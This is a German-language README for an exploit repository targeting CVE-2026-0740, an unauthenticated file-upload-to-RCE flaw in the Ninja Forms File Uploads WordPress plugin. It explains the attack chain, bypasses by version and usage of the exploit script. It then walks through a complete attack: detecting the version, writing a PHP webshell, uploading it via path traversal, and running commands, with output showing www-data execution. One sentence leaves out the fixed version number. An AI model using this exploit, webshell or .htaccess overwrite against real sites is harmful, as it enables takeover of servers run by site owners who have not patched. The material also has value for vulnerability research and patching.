
Ninja Forms File Uploads <= 3.3.26 - Nicht authentifizierter beliebiger Datei-Upload zu RCE (CVE-2026-0740)
Exploit für CVE-2026-0740 entdeckt von Selim Lanouar (whattheslime).
Eine vollständige technische Analyse finden Sie im vollständigen Artikel auf Lexfos Blog.
Dieses Repository wird ausschließlich für Forschungs- und Verteidigungszwecke bereitgestellt.
Der Autor übernimmt keine Haftung für Missbrauch dieser Informationen.
Das Ninja Forms - File Uploads Plugin für WordPress ist in allen Versionen bis einschließlich 3.3.26 anfällig für Nicht authentifizierten beliebigen Datei-Upload, der zu Remote Code Execution führt.
Die Schwachstelle wurde ursprünglich in Version 3.3.23 entdeckt und gemeldet. Die Ausnutzung ist bis Version 3.3.24 einfach (keine Validierung des Ziel-Dateinamens). Die Versionen 3.3.25 und 3.3.26 führten aufeinanderfolgende Teil-Patches ein, aber das Problem ist erst in Version vollständig behoben.
Die Angriffskette ist wie folgt:
nf_fu_get_new_nonce mit einer beliebigen field_id.nf_fu_upload-Handler validiert die Erweiterung der hochgeladenen Datei (z. B. image.jpg), erlaubt es dem Client jedoch, den Ziel-Dateinamen über einen POST-Parameter (image_jpg) zu überschreiben.move_uploaded_file() übergeben, was beliebige Erweiterungen und Pfadnavigation (../) ermöglicht.| Vektor / Erweiterung | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
Pfadnavigation (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
Siehe den vollständigen Blogbeitrag für die vollständige Erweiterungstabelle und die technische Analyse.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
Die Datei wird nach wp-content/uploads/ninja-forms/tmp/test.txt geschrieben.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
Die Datei wird nach wp-content/webshell.php geschrieben.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)